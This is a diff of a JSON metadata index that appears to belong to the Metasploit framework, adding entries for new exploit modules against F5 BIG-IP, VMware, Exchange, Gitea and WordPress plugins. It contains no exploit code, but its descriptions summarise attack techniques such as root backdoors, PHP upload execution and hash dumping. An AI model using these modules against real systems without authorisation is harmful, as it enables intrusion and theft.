"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"SideEffects": [
"ioc-in-logs"
],
"Reliability": [
]
},
"session_types": false,
"needs_cleanup": false
},
"auxiliary_gather/ldap_hashdump": {
"name": "LDAP Information Disclosure",
"fullname": "auxiliary/gather/ldap_hashdump",
@@ -19744,7 +19791,7 @@
],
"targets": null,
"mod_time": "2022-10-24 13:58:27 +0000",
"mod_time": "2022-12-04 17:41:24 +0000",
"path": "/modules/auxiliary/gather/ldap_query.rb",
"is_install_path": true,
"ref_name": "gather/ldap_query",
@@ -21891,6 +21938,66 @@
"session_types": false,
"needs_cleanup": false
},
"auxiliary_gather/wp_bookingpress_category_services_sqli": {
"name": "Wordpress BookingPress bookingpress_front_get_category_services SQLi",
"fullname": "auxiliary/gather/wp_bookingpress_category_services_sqli",
"aliases": [
],
"rank": 300,
"disclosure_date": "2022-02-28",
"type": "auxiliary",
"author": [
"cydave",
"destr4ct",
"jheysel-r7"
],
"description": "The BookingPress WordPress plugin before 1.0.11 fails to properly sanitize user supplied data\n in the `total_service` parameter of the `bookingpress_front_get_category_services` AJAX action\n (available to unauthenticated users), prior to using it in a dynamically constructed SQL query.\n As a result, unauthenticated attackers can conduct an SQL injection attack to dump sensitive\n data from the backend database such as usernames and password hashes.\n\n This module uses this vulnerability to dump the list of WordPress users and their associated\n email addresses and password hashes for cracking offline.",
"references": [
"URL-https://github.com/destr4ct/CVE-2022-0739",
"WPVDB-388cd42d-b61a-42a4-8604-99b812db2357",
"CVE-2022-0739"
],
"platform": "",
"arch": "",
"rport": 80,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": null,
"mod_time": "2022-11-15 09:08:38 +0000",
"path": "/modules/auxiliary/gather/wp_bookingpress_category_services_sqli.rb",
"is_install_path": true,
"ref_name": "gather/wp_bookingpress_category_services_sqli",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs"
]
},
"session_types": false,
"needs_cleanup": false
},
"auxiliary_gather/wp_ultimate_csv_importer_user_extract": {
"name": "WordPress Ultimate CSV Importer User Table Extract",
"fullname": "auxiliary/gather/wp_ultimate_csv_importer_user_extract",
@@ -31586,7 +31693,7 @@
"https"
],
"targets": null,
"mod_time": "2021-09-02 11:41:27 +0000",
"mod_time": "2022-11-07 12:23:59 +0000",
"path": "/modules/auxiliary/scanner/http/manageengine_desktop_central_login.rb",
"is_install_path": true,
"ref_name": "scanner/http/manageengine_desktop_central_login",
@@ -34270,7 +34377,7 @@
],
"targets": null,
"mod_time": "2022-01-23 15:28:32 +0000",
"mod_time": "2022-12-04 17:41:24 +0000",
"path": "/modules/auxiliary/scanner/http/smt_ipmi_static_cert_scanner.rb",
"is_install_path": true,
"ref_name": "scanner/http/smt_ipmi_static_cert_scanner",
@@ -34670,95 +34777,6 @@
"session_types": false,
"needs_cleanup": false
},
"auxiliary_scanner/http/ssl": {
"name": "HTTP SSL Certificate Information",
"fullname": "auxiliary/scanner/http/ssl",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"et <et@metasploit.com>",
"Chris John Riley",
"Veit Hailperin <hailperv@gmail.com>"
],
"description": "Parse the server SSL certificate to obtain the common name and signature algorithm",
"references": [
],
"platform": "",
"arch": "",
"rport": 443,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"path": "/modules/auxiliary/scanner/http/ssl.rb",
"is_install_path": true,
"ref_name": "scanner/http/ssl",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"auxiliary_scanner/http/ssl_version": {
"name": "HTTP SSL/TLS Version Detection (POODLE scanner)",
"fullname": "auxiliary/scanner/http/ssl_version",
"aliases": [
],
"rank": 300,
"disclosure_date": "2014-10-14",
"type": "auxiliary",
"author": [
"todb <todb@metasploit.com>"
],
"description": "Check if an HTTP server supports a given version of SSL/TLS.\n\n If a web server can successfully establish an SSLv3 session, it is\n likely to be vulnerable to the POODLE attack described on\n October 14, 2014, as a patch against the attack is unlikely.",
"references": [
"URL-https://security.googleblog.com/2014/10/this-poodle-bites-exploiting-ssl-30.html",
"OSVDB-113251",
"CVE-2014-3566"
],
"platform": "",
"arch": "",
"rport": 443,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": null,
"mod_time": "2022-01-23 15:28:32 +0000",
"path": "/modules/auxiliary/scanner/http/ssl_version.rb",
"is_install_path": true,
"ref_name": "scanner/http/ssl_version",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"auxiliary_scanner/http/support_center_plus_directory_traversal": {
"name": "ManageEngine Support Center Plus Directory Traversal",
"fullname": "auxiliary/scanner/http/support_center_plus_directory_traversal",
@@ -35150,6 +35168,62 @@
"session_types": false,
"needs_cleanup": false
},
"auxiliary_scanner/http/syncovery_linux_login": {
"name": "Syncovery For Linux Web-GUI Login Utility",
"fullname": "auxiliary/scanner/http/syncovery_linux_login",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"Jan Rude"
],
"description": "This module will attempt to authenticate to Syncovery File Sync & Backup Software For Linux Web-GUI.",
"references": [
],
"platform": "Linux",
"arch": "",
"rport": 8999,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": null,
"mod_time": "2022-09-16 13:34:06 +0000",
"path": "/modules/auxiliary/scanner/http/syncovery_linux_login.rb",
"is_install_path": true,
"ref_name": "scanner/http/syncovery_linux_login",
"check": false,
"post_auth": true,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
],
"SideEffects": [
]
},
"session_types": false,
"needs_cleanup": false
},
"auxiliary_scanner/http/synology_forget_passwd_user_enum": {
"name": "Synology Forget Password User Enumeration Scanner",
"fullname": "auxiliary/scanner/http/synology_forget_passwd_user_enum",
@@ -35454,7 +35528,7 @@
"https"
],
"targets": null,
"mod_time": "2022-01-23 15:28:32 +0000",
"mod_time": "2022-11-27 15:35:34 +0000",
"path": "/modules/auxiliary/scanner/http/tomcat_mgr_login.rb",
"is_install_path": true,
"ref_name": "scanner/http/tomcat_mgr_login",
@@ -45985,7 +46059,7 @@
],
"targets": null,
"mod_time": "2021-07-19 14:47:39 +0000",
"mod_time": "2022-10-15 16:42:30 +0000",
"path": "/modules/auxiliary/scanner/smb/impacket/wmiexec.py",
"is_install_path": true,
"ref_name": "scanner/smb/impacket/wmiexec",
@@ -47079,7 +47153,7 @@
],
"targets": null,
"mod_time": "2022-01-23 15:28:32 +0000",
"mod_time": "2022-11-01 14:22:49 +0000",
"path": "/modules/auxiliary/scanner/snmp/snmp_enum.rb",
"is_install_path": true,
"ref_name": "scanner/snmp/snmp_enum",
@@ -47159,7 +47233,7 @@
],
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2022-11-01 14:22:49 +0000",
"path": "/modules/auxiliary/scanner/snmp/snmp_enumshares.rb",
"is_install_path": true,
"ref_name": "scanner/snmp/snmp_enumshares",
@@ -47197,7 +47271,7 @@
],
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2022-11-01 14:22:49 +0000",
"path": "/modules/auxiliary/scanner/snmp/snmp_enumusers.rb",
"is_install_path": true,
"ref_name": "scanner/snmp/snmp_enumusers",
@@ -48101,6 +48175,67 @@
"session_types": false,
"needs_cleanup": false
},
"auxiliary_scanner/ssl/ssl_version": {
"name": "SSL/TLS Version Detection",
"fullname": "auxiliary/scanner/ssl/ssl_version",
"aliases": [
"auxiliary/scanner/http/ssl",
"auxiliary/scanner/http/ssl_version"
],
"rank": 300,
"disclosure_date": "2014-10-14",
"type": "auxiliary",
"author": [
"todb <todb@metasploit.com>",
"et <et@metasploit.com>",
"Chris John Riley",
"Veit Hailperin <hailperv@gmail.com>",
"h00die"
],
"description": "Check if a server supports a given version of SSL/TLS and cipher suites.\n\n The certificate is stored in loot, and any known vulnerabilities against that\n SSL version and cipher suite combination are checked. These checks include\n POODLE, deprecated protocols, expired/not valid certs, low key strength, null cipher suites,\n certificates signed with MD5, DROWN, RC4 ciphers, exportable ciphers, LOGJAM, and BEAST.",
"references": [
"URL-https://security.googleblog.com/2014/10/this-poodle-bites-exploiting-ssl-30.html",
"CVE-2014-3566",
"URL-https://www.openssl.org/~bodo/ssl-poodle.pdf",
"URL-https://datatracker.ietf.org/doc/rfc8996/",
"URL-https://datatracker.ietf.org/doc/html/rfc6176",
"URL-https://datatracker.ietf.org/doc/html/rfc7568",
"URL-https://www.win.tue.nl/hashclash/rogue-ca/",
"CWE-328",
"URL-https://drownattack.com/",
"CVE-2016-0800",
"CVE-2011-3389",
"URL-http://www.isg.rhul.ac.uk/tls/",
"CVE-2013-2566",
"CVE-2015-4000",
"CVE-2022-3358",
"CWE-319",
"CWE-298",
"CWE-327",
"CWE-326"
],
"platform": "",
"arch": "",
"rport": 443,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": null,
"mod_time": "2022-11-05 07:23:14 +0000",
"path": "/modules/auxiliary/scanner/ssl/ssl_version.rb",
"is_install_path": true,
"ref_name": "scanner/ssl/ssl_version",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"auxiliary_scanner/steam/server_info": {
"name": "Gather Steam Server Information",
"fullname": "auxiliary/scanner/steam/server_info",
@@ -50988,7 +51123,7 @@
"author": [
"RageLtMan <rageltman@sempervictus>"
],
"description": "This module provides a Rex based DNS service which can store static entries,\n resolve names over pivots, and serve DNS requests across routed session comms.\n DNS tunnels can operate across the the Rex switchboard, and DNS other modules\n can use this as a template. Setting static records via hostfile allows for DNS\n spoofing attacks without direct traffic manipulation at the handlers. handlers\n for requests and responses provided here mimic the internal Rex functionality,\n but utilize methods within this module's namespace to output content processed\n in the Proc contexts via vprint_status.",
"description": "This module provides a Rex based DNS service which can store static entries,\n resolve names over pivots, and serve DNS requests across routed session comms.\n DNS tunnels can operate across the Rex switchboard, and DNS other modules\n can use this as a template. Setting static records via hostfile allows for DNS\n spoofing attacks without direct traffic manipulation at the handlers. handlers\n for requests and responses provided here mimic the internal Rex functionality,\n but utilize methods within this module's namespace to output content processed\n in the Proc contexts via vprint_status.",
"references": [
],
@@ -51002,7 +51137,7 @@
"dns"
],
"targets": null,
"mod_time": "2022-03-09 13:31:46 +0000",
"mod_time": "2022-12-04 17:41:24 +0000",
"path": "/modules/auxiliary/server/dns/native_server.rb",
"is_install_path": true,
"ref_name": "server/dns/native_server",
@@ -61820,6 +61955,125 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800": {
"name": "F5 BIG-IP iControl Authenticated RCE via RPM Creator",
"fullname": "exploit/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800",
"aliases": [
],
"rank": 600,
"disclosure_date": "2022-11-16",
"type": "exploit",
"author": [
"Ron Bowes"
],
"description": "This module exploits a newline injection into an RPM .rpmspec file\n that permits authenticated users to remotely execute commands.\n\n Successful exploitation results in remote code execution\n as the root user.",
"references": [
"CVE-2022-41800",
"URL-https://www.rapid7.com/blog/post/2022/11/16/cve-2022-41622-and-cve-2022-41800-fixed-f5-big-ip-and-icontrol-rest-vulnerabilities-and-exposures/",
"URL-https://support.f5.com/csp/article/K97843387",
"URL-https://support.f5.com/csp/article/K13325942"
],
"platform": "Linux,Unix",
"arch": "cmd",
"rport": 443,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Default"
],
"mod_time": "2022-11-23 10:42:07 +0000",
"path": "/modules/exploits/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800.rb",
"is_install_path": true,
"ref_name": "linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800",
"check": false,
"post_auth": true,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs",
"artifacts-on-disk"
]
},
"session_types": false,
"needs_cleanup": true
},
"exploit_linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622": {
"name": "F5 BIG-IP iControl CSRF File Write SOAP API",
"fullname": "exploit/linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622",
"aliases": [
],
"rank": 600,
"disclosure_date": "2022-11-16",
"type": "exploit",
"author": [
"Ron Bowes"
],
"description": "This module exploits a cross-site request forgery (CSRF) vulnerability\n in F5 Big-IP's iControl interface to write an arbitrary file to the\n filesystem.\n\n While any file can be written to any location as root, the\n exploitability is limited by SELinux; the vast majority of writable\n locations are unavailable. By default, we write to a script that\n executes at reboot, which means the payload will execute the next time\n the server boots.\n\n An alternate target - Login - will add a backdoor that executes next\n time a user logs in interactively. This overwrites a file,\n but we restore it when we get a session\n\n Note that because this is a CSRF vulnerability, it starts a web\n server, but an authenticated administrator must visit the site, which\n redirects them to the target.",
"references": [
"CVE-2022-41622",
"URL-https://github.com/rbowes-r7/refreshing-soap-exploit",
"URL-https://www.rapid7.com/blog/post/2022/11/16/cve-2022-41622-and-cve-2022-41800-fixed-f5-big-ip-and-icontrol-rest-vulnerabilities-and-exposures/",
"URL-https://support.f5.com/csp/article/K97843387",
"URL-https://support.f5.com/csp/article/K94221585",
"URL-https://support.f5.com/csp/article/K05403841"
],
"platform": "Linux,Unix",
"arch": "cmd",
"rport": 443,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"Restart",
"Login",
"Custom"
],
"mod_time": "2022-11-18 16:18:25 +0000",
"path": "/modules/exploits/linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622.rb",
"is_install_path": true,
"ref_name": "linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs",
"artifacts-on-disk"
]
},
"session_types": false,
"needs_cleanup": true
},
"exploit_linux/http/flir_ax8_unauth_rce_cve_2022_37061": {
"name": "FLIR AX8 unauthenticated RCE",
"fullname": "exploit/linux/http/flir_ax8_unauth_rce_cve_2022_37061",
@@ -62757,7 +63011,7 @@
"targets": [
"Automatic"
],
"mod_time": "2021-08-27 17:15:33 +0000",
"mod_time": "2022-12-04 17:41:24 +0000",
"path": "/modules/exploits/linux/http/gravcms_exec.rb",
"is_install_path": true,
"ref_name": "linux/http/gravcms_exec",
@@ -69803,6 +70057,72 @@
"session_types": false,
"needs_cleanup": true
},
"exploit_linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144": {
"name": "VMware NSX Manager XStream unauthenticated RCE",
"fullname": "exploit/linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144",
"aliases": [
],
"rank": 600,
"disclosure_date": "2022-10-25",
"type": "exploit",
"author": [
"h00die-gr3y",
"Sina Kheirkhah",
"Steven Seeley"
],
"description": "VMware Cloud Foundation (NSX-V) contains a remote code execution vulnerability via XStream open source library.\n VMware has evaluated the severity of this issue to be in the Critical severity range with a maximum CVSSv3 base score of 9.8.\n Due to an unauthenticated endpoint that leverages XStream for input serialization in VMware Cloud Foundation (NSX-V),\n a malicious actor can get remote code execution in the context of 'root' on the appliance.\n VMware Cloud Foundation 3.x and more specific NSX Manager Data Center for vSphere up to and including version 6.4.13\n are vulnerable to Remote Command Injection.\n\n This module exploits the vulnerability to upload and execute payloads gaining root privileges.",
"references": [
"CVE-2021-39144",
"URL-https://www.vmware.com/security/advisories/VMSA-2022-0027.html",
"URL-https://kb.vmware.com/s/article/89809",
"URL-https://srcincite.io/blog/2022/10/25/eat-what-you-kill-pre-authenticated-rce-in-vmware-nsx-manager.html",
"URL-https://attackerkb.com/topics/ngprN6bu76/cve-2021-39144"
],
"platform": "Linux,Unix",
"arch": "cmd, x86, x64",
"rport": 443,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Unix (In-Memory)",
"Linux Dropper"
],
"mod_time": "2022-11-12 10:21:43 +0000",
"path": "/modules/exploits/linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144.rb",
"is_install_path": true,
"ref_name": "linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs",
"artifacts-on-disk"
]
},
"session_types": false,
"needs_cleanup": null
},
"exploit_linux/http/vmware_vcenter_analytics_file_upload": {
"name": "VMware vCenter Server Analytics (CEIP) Service File Upload",
"fullname": "exploit/linux/http/vmware_vcenter_analytics_file_upload",
@@ -70928,7 +71248,7 @@
"targets": [
"Zimbra Collaboration Suite"
],
"mod_time": "2022-10-19 10:02:29 +0000",
"mod_time": "2022-11-23 13:09:47 +0000",
"path": "/modules/exploits/linux/http/zimbra_cpio_cve_2022_41352.rb",
"is_install_path": true,
"ref_name": "linux/http/zimbra_cpio_cve_2022_41352",
@@ -71058,7 +71378,7 @@
"targets": [
"Zimbra Collaboration Suite"
],
"mod_time": "2022-08-17 10:19:36 +0000",
"mod_time": "2022-12-06 15:07:28 +0000",
"path": "/modules/exploits/linux/http/zimbra_unrar_cve_2022_30333.rb",
"is_install_path": true,
"ref_name": "linux/http/zimbra_unrar_cve_2022_30333",
@@ -73847,7 +74167,7 @@
"targets": [
"Automatic"
],
"mod_time": "2022-10-08 09:50:25 +0000",
"mod_time": "2022-11-25 15:13:57 +0000",
"path": "/modules/exploits/linux/local/polkit_dbus_auth_bypass.rb",
"is_install_path": true,
"ref_name": "linux/local/polkit_dbus_auth_bypass",
@@ -73959,7 +74279,7 @@
"targets": [
"Auto"
],
"mod_time": "2021-02-17 12:33:59 +0000",
"mod_time": "2022-11-12 16:19:50 +0000",
"path": "/modules/exploits/linux/local/ptrace_traceme_pkexec_helper.rb",
"is_install_path": true,
"ref_name": "linux/local/ptrace_traceme_pkexec_helper",
@@ -74676,7 +74996,7 @@
"targets": [
"Auto"
],
"mod_time": "2022-10-03 16:53:14 +0000",
"mod_time": "2022-12-01 14:34:09 +0000",
"path": "/modules/exploits/linux/local/ubuntu_enlightenment_mount_priv_esc.rb",
"is_install_path": true,
"ref_name": "linux/local/ubuntu_enlightenment_mount_priv_esc",
@@ -74857,6 +75177,66 @@
],
"needs_cleanup": true
},
"exploit_linux/local/vcenter_java_wrapper_vmon_priv_esc": {
"name": "VMware vCenter vScalation Priv Esc",
"fullname": "exploit/linux/local/vcenter_java_wrapper_vmon_priv_esc",
"aliases": [
],
"rank": 0,
"disclosure_date": "2021-09-21",
"type": "exploit",
"author": [
"h00die",
"Yuval Lazar"
],
"description": "This module exploits a privilege escalation in vSphere/vCenter due to improper permissions on the\n /usr/lib/vmware-vmon/java-wrapper-vmon file. It is possible for anyone in the\n cis group to write to the file, which will execute as root on vmware-vmon service\n restart or host reboot.\n\n This module was successfully tested against VMware VirtualCenter 6.5.0 build-7070488.\n The following versions should be vulnerable:\n vCenter 7.0 before U2c\n vCenter 6.7 before U3o\n vCenter 6.5 before U3q",
"references": [
"URL-https://pentera.io/blog/vscalation-cve-2021-22015-local-privilege-escalation-in-vmware-vcenter-pentera-labs/",
"CVE-2021-22015",
"URL-https://www.vmware.com/security/advisories/VMSA-2021-0020.html"
],
"platform": "Linux",
"arch": "x86, x64",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"Auto"
],
"mod_time": "2022-12-01 14:55:43 +0000",
"path": "/modules/exploits/linux/local/vcenter_java_wrapper_vmon_priv_esc.rb",
"is_install_path": true,
"ref_name": "linux/local/vcenter_java_wrapper_vmon_priv_esc",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-service-down"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"artifacts-on-disk",
"config-changes",
"ioc-in-logs"
],
"AKA": [
"vScalation"
]
},
"session_types": [
"shell",
"meterpreter"
],
"needs_cleanup": true
},
"exploit_linux/local/vmware_alsa_config": {
"name": "VMware Workstation ALSA Config File Local Privilege Escalation",
"fullname": "exploit/linux/local/vmware_alsa_config",
@@ -83723,6 +84103,67 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_multi/http/churchinfo_upload_exec": {
"name": "ChurchInfo 1.2.13-1.3.0 Authenticated RCE",
"fullname": "exploit/multi/http/churchinfo_upload_exec",
"aliases": [
],
"rank": 300,
"disclosure_date": "2021-10-30",
"type": "exploit",
"author": [
"m4lwhere <m4lwhere@protonmail.com>"
],
"description": "This module exploits the logic in the CartView.php page when crafting a draft email with an attachment.\n By uploading an attachment for a draft email, the attachment will be placed in the /tmp_attach/ folder of the\n ChurchInfo web server, which is accessible over the web by any user. By uploading a PHP attachment and\n then browsing to the location of the uploaded PHP file on the web server, arbitrary code\n execution as the web daemon user (e.g. www-data) can be achieved.",
"references": [
"URL-http://www.churchdb.org/",
"URL-http://sourceforge.net/projects/churchinfo/",
"CVE-2021-43258"
],
"platform": "PHP",
"arch": "php",
"rport": 80,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Automatic Targeting"
],
"mod_time": "2022-11-18 18:04:51 +0000",
"path": "/modules/exploits/multi/http/churchinfo_upload_exec.rb",
"is_install_path": true,
"ref_name": "multi/http/churchinfo_upload_exec",
"check": true,
"post_auth": true,
"default_credential": false,
"notes": {
"Stability": [
"CRASH_SAFE"
],
"Reliability": [
"REPEATABLE_SESSION"
],
"SideEffects": [
"ARTIFACTS_ON_DISK",
"IOC_IN_LOGS"
]
},
"session_types": false,
"needs_cleanup": true
},
"exploit_multi/http/cisco_dcnm_upload": {
"name": "Cisco Prime Data Center Network Manager Arbitrary File Upload",
"fullname": "exploit/multi/http/cisco_dcnm_upload",
@@ -85204,6 +85645,70 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_multi/http/gitea_git_fetch_rce": {
"name": "Gitea Git Fetch Remote Code Execution",
"fullname": "exploit/multi/http/gitea_git_fetch_rce",
"aliases": [
],
"rank": 600,
"disclosure_date": "2022-05-16",
"type": "exploit",
"author": [
"wuhan005",
"li4n0",
"krastanoel"
],
"description": "This module exploits Git fetch command in Gitea repository migration\n process that leads to a remote command execution on the system.\n This vulnerability affect Gitea before 1.16.7 version.",
"references": [
"CVE-2022-30781",
"URL-https://tttang.com/archive/1607/"
],
"platform": "Linux,Unix,Windows",
"arch": "cmd",
"rport": 3000,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Unix Command",
"Linux Dropper",
"Windows Command",
"Windows Dropper"
],
"mod_time": "2022-11-17 12:25:52 +0000",
"path": "/modules/exploits/multi/http/gitea_git_fetch_rce.rb",
"is_install_path": true,
"ref_name": "multi/http/gitea_git_fetch_rce",
"check": true,
"post_auth": true,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
]
},
"session_types": false,
"needs_cleanup": null
},
"exploit_multi/http/gitea_git_hooks_rce": {
"name": "Gitea Git Hooks Remote Code Execution",
"fullname": "exploit/multi/http/gitea_git_hooks_rce",
@@ -98221,7 +98726,7 @@
"Apache OpenOffice on Windows (PSH)",
"Apache OpenOffice on Linux/OSX (Python)"
],
"mod_time": "2020-10-02 17:38:06 +0000",
"mod_time": "2022-11-30 22:10:18 +0000",
"path": "/modules/exploits/multi/misc/openoffice_document_macro.rb",
"is_install_path": true,
"ref_name": "multi/misc/openoffice_document_macro",
@@ -104229,7 +104734,7 @@
"Unix Command",
"BSD Dropper"
],
"mod_time": "2022-10-12 19:23:59 +0000",
"mod_time": "2022-10-24 14:17:21 +0000",
"path": "/modules/exploits/unix/http/pfsense_pfblockerng_webshell.rb",
"is_install_path": true,
"ref_name": "unix/http/pfsense_pfblockerng_webshell",
@@ -131843,7 +132348,7 @@
"John Page (aka hyp3rlinx)",
"Brenner Little"
],
"description": "This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Microsoft Windows.\n User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The flaw is due to the processing of \".contact\" files <c:Url> node param which takes an expected website value, however if an attacker references an\n executable file it will run that instead without warning instead of performing expected web navigation. This is dangerous and would be unexpected to an end user.\n Executable files can live in a sub-directory so when the \".contact\" website link is clicked it traverses directories towards the executable and runs.\n Making matters worse is if the the files are compressed then downloaded \"mark of the web\" (MOTW) may potentially not work as expected with certain archive utilitys.\n The \".\\\" chars allow directory traversal to occur in order to run the attackers supplied executable sitting unseen in the attackers directory.\n This advisory is a duplicate issue that currently affects Windows .VCF files, and released for the sake of completeness as it affects Windows .contact files as well.",
"description": "This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Microsoft Windows.\n User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The flaw is due to the processing of \".contact\" files <c:Url> node param which takes an expected website value, however if an attacker references an\n executable file it will run that instead without warning instead of performing expected web navigation. This is dangerous and would be unexpected to an end user.\n Executable files can live in a sub-directory so when the \".contact\" website link is clicked it traverses directories towards the executable and runs.\n Making matters worse is if the files are compressed then downloaded \"mark of the web\" (MOTW) may potentially not work as expected with certain archive utilitys.\n The \".\\\" chars allow directory traversal to occur in order to run the attackers supplied executable sitting unseen in the attackers directory.\n This advisory is a duplicate issue that currently affects Windows .VCF files, and released for the sake of completeness as it affects Windows .contact files as well.",
"references": [
"EDB-46188",
"URL-http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-CONTACT-FILE-INSUFFECIENT-UI-WARNING-WEBSITE-LINK-ARBITRARY-CODE-EXECUTION.txt",
@@ -131861,7 +132366,7 @@
"targets": [
"Windows"
],
"mod_time": "2020-10-02 17:38:06 +0000",
"mod_time": "2022-12-04 17:41:24 +0000",
"path": "/modules/exploits/windows/fileformat/microsoft_windows_contact.rb",
"is_install_path": true,
"ref_name": "windows/fileformat/microsoft_windows_contact",
@@ -140751,7 +141256,7 @@
"v9.2.0 - v9.2.1",
"v9.2.2 - v9.3.0-RC"
],
"mod_time": "2022-03-10 10:28:25 +0000",
"mod_time": "2022-12-04 17:50:24 +0000",
"path": "/modules/exploits/windows/http/dnn_cookie_deserialization_rce.rb",
"is_install_path": true,
"ref_name": "windows/http/dnn_cookie_deserialization_rce",
@@ -141746,6 +142251,79 @@
"session_types": false,
"needs_cleanup": true
},
"exploit_windows/http/exchange_proxynotshell_rce": {
"name": "Microsoft Exchange ProxyNotShell RCE",
"fullname": "exploit/windows/http/exchange_proxynotshell_rce",
"aliases": [
],
"rank": 600,
"disclosure_date": "2022-09-28",
"type": "exploit",
"author": [
"Orange Tsai",
"Spencer McIntyre",
"DA-0x43-Dx4-DA-Hx2-Tx2-TP-S-Q",
"Piotr Bazydło",
"Rich Warren",
"Soroush Dalili"
],
"description": "This module chains two vulnerabilities on Microsoft Exchange Server\n that, when combined, allow an authenticated attacker to interact with\n the Exchange Powershell backend (CVE-2022-41040), where a\n deserialization flaw can be leveraged to obtain code execution\n (CVE-2022-41082). This exploit only support Exchange Server 2019.\n\n These vulnerabilities were patched in November 2022.",
"references": [
"CVE-2022-41040",
"CVE-2022-41082",
"URL-https://www.zerodayinitiative.com/blog/2022/11/14/control-your-types-or-get-pwned-remote-code-execution-in-exchange-powershell-backend",
"URL-https://msrc-blog.microsoft.com/2022/09/29/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/",
"URL-https://doublepulsar.com/proxynotshell-the-story-of-the-claimed-zero-day-in-microsoft-exchange-5c63d963a9e9",
"URL-https://rw.md/2022/11/09/ProxyNotRelay.html"
],
"platform": "Windows",
"arch": "cmd, x64, x86",
"rport": 443,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Windows Dropper",
"Windows Command"
],
"mod_time": "2022-11-28 10:06:14 +0000",
"path": "/modules/exploits/windows/http/exchange_proxynotshell_rce.rb",
"is_install_path": true,
"ref_name": "windows/http/exchange_proxynotshell_rce",
"check": true,
"post_auth": true,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"SideEffects": [
"artifacts-on-disk",
"ioc-in-logs"
],
"AKA": [
"ProxyNotShell"
],
"Reliability": [
"repeatable-session"
]
},
"session_types": false,
"needs_cleanup": null
},
"exploit_windows/http/exchange_proxyshell_rce": {
"name": "Microsoft Exchange ProxyShell RCE",
"fullname": "exploit/windows/http/exchange_proxyshell_rce",
@@ -141799,7 +142377,7 @@
"Windows Dropper",
"Windows Command"
],
"mod_time": "2021-11-10 11:12:38 +0000",
"mod_time": "2022-12-02 15:55:10 +0000",
"path": "/modules/exploits/windows/http/exchange_proxyshell_rce.rb",
"is_install_path": true,
"ref_name": "windows/http/exchange_proxyshell_rce",
@@ -151382,7 +151960,7 @@
"targets": [
"Adobe Reader X 10.1.4 / Windows 7 SP1"
],
"mod_time": "2021-10-06 13:43:31 +0000",
"mod_time": "2022-12-04 17:41:24 +0000",
"path": "/modules/exploits/windows/local/adobe_sandbox_adobecollabsync.rb",
"is_install_path": true,
